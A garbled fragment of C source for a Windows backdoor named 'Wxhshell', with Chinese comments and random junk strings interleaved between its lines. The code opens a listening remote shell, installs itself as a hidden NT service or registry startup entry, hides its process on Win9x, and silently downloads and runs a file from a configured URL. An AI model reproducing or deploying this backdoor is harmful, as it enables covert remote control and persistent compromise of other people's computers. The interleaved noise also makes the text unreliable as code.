PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HXgf=R/$ if(hProcess==NULL) return 0; z6Zd/mt~x MCTTm^8O HMODULE hMod; ?OC&=} char procName[255]; d RHw]!. unsigned long cbNeeded; mw*KLMo42 ?i$MinK if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @=qWwt4~ K~A@>~vFb CloseHandle(hProcess); %<\tN^rP y$+_9VzYB if(strstr(procName,"services")) return 1; // 以服务启动 q3ebps9^ wDKA1i%G return 0; // 注册表启动 h3V;
J } >S@><[C Q&vU|y // 主模块 6\RZ[gA? int StartWxhshell(LPSTR lpCmdLine) w_*$wVl { &{S@v9~IT SOCKET wsl; b
q8nV BOOL val=TRUE; ,"Nb;Yhg int port=0; wLKC6@
W struct sockaddr_in door; OySn[4`(i e?<$H\ if(wscfg.ws_autoins) Install(); &XB1=b5 {CQI*\O port=atoi(lpCmdLine); W.>}5uVl6 Vo9FlYj if(port<=0) port=wscfg.ws_port; h%&2M58: K<p)-q WSADATA data; 9^@#Ua if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u(~( +1W !BR@"%hx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &"=<w setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &?^"m\K4J* door.sin_family = AF_INET; M<ba+Qn$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?GGBDql door.sin_port = htons(port); .=@CF8ArG &Y-jK < if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *a' I closesocket(wsl); G!U
`8R return 1; M<xF4L3] }
LDdgI ?zK\!r{ if(listen(wsl,2) == INVALID_SOCKET) { }VqCyJu&{ closesocket(wsl); +GT"n$)+ return 1; ?S'Wd= } .x_F4 #Ka Wxhshell(wsl); ?-=<7
~$ WSACleanup(); %)=c#H1 >(Fy6m return 0; V-lp';bD Mc6v } h!
wd/jR WB\chb%ej# // 以NT服务方式启动 ^"+Vx9H"{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /e7BW0$1 { 6f&qtJQ<A DWORD status = 0;
\1?: DWORD specificError = 0xfffffff; ?{r -z3@ N 5$c*r$t_RK serviceStatus.dwServiceType = SERVICE_WIN32; ]f*.C9Y serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3u4P
[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bEb+oRI serviceStatus.dwWin32ExitCode = 0; (4IH%Ez){ serviceStatus.dwServiceSpecificExitCode = 0; A5,(P$@k serviceStatus.dwCheckPoint = 0; s[}cj+0 serviceStatus.dwWaitHint = 0; afye$$X (
\7Yo^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B dxV [SF if (hServiceStatusHandle==0) return; DS=Dg@y BoofJm status = GetLastError(); gNSsT]) if (status!=NO_ERROR) R
RnT.MU { ?,
cI!c` serviceStatus.dwCurrentState = SERVICE_STOPPED; j~O"=?7!O serviceStatus.dwCheckPoint = 0; 0(+dXzcwM serviceStatus.dwWaitHint = 0; 9C:V i serviceStatus.dwWin32ExitCode = status; j!K{1s[.y serviceStatus.dwServiceSpecificExitCode = specificError; &+df@U6i SetServiceStatus(hServiceStatusHandle, &serviceStatus); m,r>E%;Cj return; Q;=3vUN } xn}HB 3 H`ES_JL serviceStatus.dwCurrentState = SERVICE_RUNNING; .|GnTC q serviceStatus.dwCheckPoint = 0; uk)D2.eS, serviceStatus.dwWaitHint = 0; a
t%qowt if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .> ^U
mM } 0f"la=6 =]P|!$!}0 // 处理NT服务事件,比如:启动、停止 **F-#", VOID WINAPI NTServiceHandler(DWORD fdwControl) dwVo"_Yr { |?ma? switch(fdwControl) 9C| -|mo { nOK1Wc%/' case SERVICE_CONTROL_STOP: ^o Q^/v~ serviceStatus.dwWin32ExitCode = 0; RT"JAJTi/ serviceStatus.dwCurrentState = SERVICE_STOPPED; '|nAGkA serviceStatus.dwCheckPoint = 0; K4^mG serviceStatus.dwWaitHint = 0; )gNVJ { fi'\{!!3m^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); VX e7b } qnnP*15` return; 92M_Z1_w[ case SERVICE_CONTROL_PAUSE: v.Xmrry serviceStatus.dwCurrentState = SERVICE_PAUSED; wZ/b;%I! break; B2,JfKk/ case SERVICE_CONTROL_CONTINUE: b#:!b serviceStatus.dwCurrentState = SERVICE_RUNNING; /y-8dgv0a break; / a$B8, case SERVICE_CONTROL_INTERROGATE: W+#Zmvo break; $rH}2 }; lfte SetServiceStatus(hServiceStatusHandle, &serviceStatus); _tfi6UQ&lY } K(Ak+&[ W"1=K]B // 标准应用程序主函数 VevDW }4q* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nh>lDfJV< { )0{ZZ-beG m=%yZ2F; // 获取操作系统版本 ;b^"b{ OsIsNt=GetOsVer(); o<7'(Pz GetModuleFileName(NULL,ExeFile,MAX_PATH); G/&Wc2k y-)5d // 从命令行安装 dA$qzQ if(strpbrk(lpCmdLine,"iI")) Install(); xU'% 6/G ]SNcL[U // 下载执行文件 k4YW;6<C+ if(wscfg.ws_downexe) { 9/6=[) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #80M+m WinExec(wscfg.ws_filenam,SW_HIDE); |\SwZTr } a<&GsDw "SU
O2-Gj if(!OsIsNt) { W_h!Puj_ // 如果时win9x,隐藏进程并且设置为注册表启动 R<e ~Cb- HideProc();
~ P!%i9e_ StartWxhshell(lpCmdLine); io*iA<@Gx } aaFt=7(K else S &F if(StartFromService())
@+!u{ // 以服务方式启动 w7yz4_:x^ StartServiceCtrlDispatcher(DispatchTable); %#@5(_' else h3P ^W(=& // 普通方式启动 CF/8d6}Vf StartWxhshell(lpCmdLine); p$l'y""i xoN?[ return 0; \Wf1b8FW }
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